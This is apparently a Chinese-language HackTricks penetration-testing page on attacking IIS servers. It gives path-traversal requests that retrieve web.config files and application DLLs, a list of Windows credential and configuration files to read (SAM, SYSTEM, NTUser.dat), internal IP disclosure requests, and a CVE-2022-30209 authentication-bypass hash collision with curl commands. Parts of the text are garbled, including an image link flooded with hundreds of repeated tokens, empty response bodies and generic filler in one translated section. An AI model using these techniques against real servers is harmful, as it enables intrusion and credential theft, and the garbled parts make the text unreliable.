# IIS - Internet Information Services
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一个**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！ * 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
测试可执行文件扩展名： * asp * aspx * config * php ## 内部IP地址泄露 在任何你得到302的IIS服务器上，你可以尝试去掉Host头并使用HTTP/1.0，在响应中，Location头可能会指向内部IP地址： ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 ``` 回应揭示内部IP： 如果在IIS服务器上发现了一个漏洞，可以使用以下方法来披露内部IP地址： 1. 通过HTTP响应头：检查服务器的HTTP响应头，特别是"X-Forwarded-For"和"X-Real-IP"字段。这些字段可能包含内部IP地址。 2. 通过错误消息：尝试发送特制的请求，以触发服务器返回错误消息。错误消息可能包含内部IP地址。 3. 通过目录遍历：尝试使用目录遍历漏洞访问服务器上的敏感文件。这些文件可能包含内部IP地址。 4. 通过日志文件：检查服务器的访问日志文件，查找包含内部IP地址的记录。 5. 通过DNS解析：尝试使用DNS解析技术，查找与目标域名关联的内部IP地址。 请注意，披露内部IP地址可能会导致安全风险，因此在进行此类操作时务必小心谨慎。 ``` GET / HTTP/1.0 HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache Pragma: no-cache Location: https://192.168.5.237/owa/ Server: Microsoft-IIS/10.0 X-FEServer: NHEXCHANGE2016 ``` ## 执行 .config 文件 您可以上传 .config 文件并使用它们来执行代码。一种方法是将代码附加到文件末尾的 HTML 注释中：[在此下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) 有关更多信息和利用此漏洞的技术，请参阅[此处](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) ## IIS 发现暴力破解 下载我创建的列表： {% file src="../../.gitbook/assets/iisfinal.txt" %} 它是通过合并以下列表的内容创建的： [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\ [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\ [https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\ [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\ [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) 在使用时不要添加任何扩展名，需要扩展名的文件已经包含在内。 ## 路径遍历 ### 泄露源代码 {% hint style="info" %} 简而言之，应用程序的文件夹中有多个 web.config 文件，其中包含对 "**assemblyIdentity**" 文件和 "**namespaces**" 的引用。通过这些信息，可以知道 **可执行文件的位置** 并下载它们。\ 从下载的 Dlls 中，还可以找到 **新的命名空间**，您应该尝试访问并获取 web.config 文件，以查找新的命名空间和 assemblyIdentity。\ 此外，文件 **connectionstrings.config** 和 **global.asax** 可能包含有趣的信息。\ 参考：[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) {% endhint %} 与任何 .Net 应用程序一样，MVC 应用程序都有一个名为 **web.config** 的文件，其中的 "**assemblyIdentity**" XML 标签标识应用程序使用的每个二进制文件。 ```markup GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded [...] HTTP/1.1 200 OK [...]
``` 在先前的输出中，您可以看到对几个 "**assemblyIdentity**" 的引用。这些文件可能位于 /bin 文件夹内。例如：**/bin/WebGrease.dll**。 在 .Net 应用程序的根目录中还可能找到其他文件，如 **/global.asax**。 ```markup <%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %> ``` 并且 **/connectionstrings.config** **注意：此文件包含密码！** ```markup ``` **命名空间** 此外，.Net MVC 应用程序的结构是定义**其他 web.config 文件**，旨在为每组视图页面包含特定命名空间的声明，以减轻开发人员在每个文件中声明“@using”命名空间的负担。 ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded [...] HTTP/1.1 200 OK [...]
``` **下载DLL文件** 根据之前的回答，声明了一个**自定义命名空间**（因为其他命名空间是默认的），这表明在/bin目录中存在一个名为"**WebApplication1**"的DLL文件。 ``` GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded [...] ``` 从前面的输出中，您还可以在/bin目录中找到以下Dll文件： * System.Web.Mvc.dll * System.Web.Mvc.Ajax.dll * System.Web.Mvc.Html.dll * System.Web.Optimization.dll * System.Web.Routing.dll 假设前面的DLL正在导入一个名为**WebApplication1.Areas.Minded**的命名空间。攻击者可以推断出应用程序中存在其他web.config文件，这些文件可能位于可猜测/默认的路径，如**/area-name/Views/**，其中包含可能引用/bin文件夹中其他DLL文件的特定配置。 ```markup GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1 Host: example-mvc-application.minded [...] HTTP/1.1 200 OK [...]
``` 请注意，在上一个输出中，您可以看到一个名为：**WebApplication1.AdditionalFeatures** 的新命名空间，这表明在/bin文件夹中有另一个名为**WebApplication1.AdditionalFeatures.dll**的Dll文件。 ### 常见文件 从[这里](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) ``` C:\Apache\conf\httpd.conf C:\Apache\logs\access.log C:\Apache\logs\error.log C:\Apache2\conf\httpd.conf C:\Apache2\logs\access.log C:\Apache2\logs\error.log C:\Apache22\conf\httpd.conf C:\Apache22\logs\access.log C:\Apache22\logs\error.log C:\Apache24\conf\httpd.conf C:\Apache24\logs\access.log C:\Apache24\logs\error.log C:\Documents and Settings\Administrator\NTUser.dat C:\php\php.ini C:\php4\php.ini C:\php5\php.ini C:\php7\php.ini C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache\logs\access.log C:\Program Files (x86)\Apache Group\Apache\logs\error.log C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache2\logs\access.log C:\Program Files (x86)\Apache Group\Apache2\logs\error.log c:\Program Files (x86)\php\php.ini" C:\Program Files\Apache Group\Apache\conf\httpd.conf C:\Program Files\Apache Group\Apache\conf\logs\access.log C:\Program Files\Apache Group\Apache\conf\logs\error.log C:\Program Files\Apache Group\Apache2\conf\httpd.conf C:\Program Files\Apache Group\Apache2\conf\logs\access.log C:\Program Files\Apache Group\Apache2\conf\logs\error.log C:\Program Files\FileZilla Server\FileZilla Server.xml C:\Program Files\MySQL\my.cnf C:\Program Files\MySQL\my.ini C:\Program Files\MySQL\MySQL Server 5.0\my.cnf C:\Program Files\MySQL\MySQL Server 5.0\my.ini C:\Program Files\MySQL\MySQL Server 5.1\my.cnf C:\Program Files\MySQL\MySQL Server 5.1\my.ini C:\Program Files\MySQL\MySQL Server 5.5\my.cnf C:\Program Files\MySQL\MySQL Server 5.5\my.ini C:\Program Files\MySQL\MySQL Server 5.6\my.cnf C:\Program Files\MySQL\MySQL Server 5.6\my.ini C:\Program Files\MySQL\MySQL Server 5.7\my.cnf C:\Program Files\MySQL\MySQL Server 5.7\my.ini C:\Program Files\php\php.ini C:\Users\Administrator\NTUser.dat C:\Windows\debug\NetSetup.LOG C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml C:\Windows\php.ini C:\Windows\repair\SAM C:\Windows\repair\system C:\Windows\System32\config\AppEvent.evt C:\Windows\System32\config\RegBack\SAM C:\Windows\System32\config\RegBack\system C:\Windows\System32\config\SAM C:\Windows\System32\config\SecEvent.evt C:\Windows\System32\config\SysEvent.evt C:\Windows\System32\config\SYSTEM C:\Windows\System32\drivers\etc\hosts C:\Windows\System32\winevt\Logs\Application.evtx C:\Windows\System32\winevt\Logs\Security.evtx C:\Windows\System32\winevt\Logs\System.evtx C:\Windows\win.ini C:\xampp\apache\conf\extra\httpd-xampp.conf C:\xampp\apache\conf\httpd.conf C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log C:\xampp\FileZillaFTP\FileZilla Server.xml C:\xampp\MercuryMail\MERCURY.INI C:\xampp\mysql\bin\my.ini C:\xampp\php\php.ini C:\xampp\security\webdav.htpasswd C:\xampp\sendmail\sendmail.ini C:\xampp\tomcat\conf\server.xml ``` ## HTTPAPI 2.0 404错误 如果你看到如下错误： ![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) ```python # script for sanity check > type test.py def HashString(password): j = 0 for c in map(ord, password): j = c + (101*j)&0xffffffff return j assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT') # before the successful login > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 401 Unauthorized # after the successful login > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 200 OK ```
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一家**网络安全公司**工作吗？想要在 HackTricks 中**宣传你的公司**吗？或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！ * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**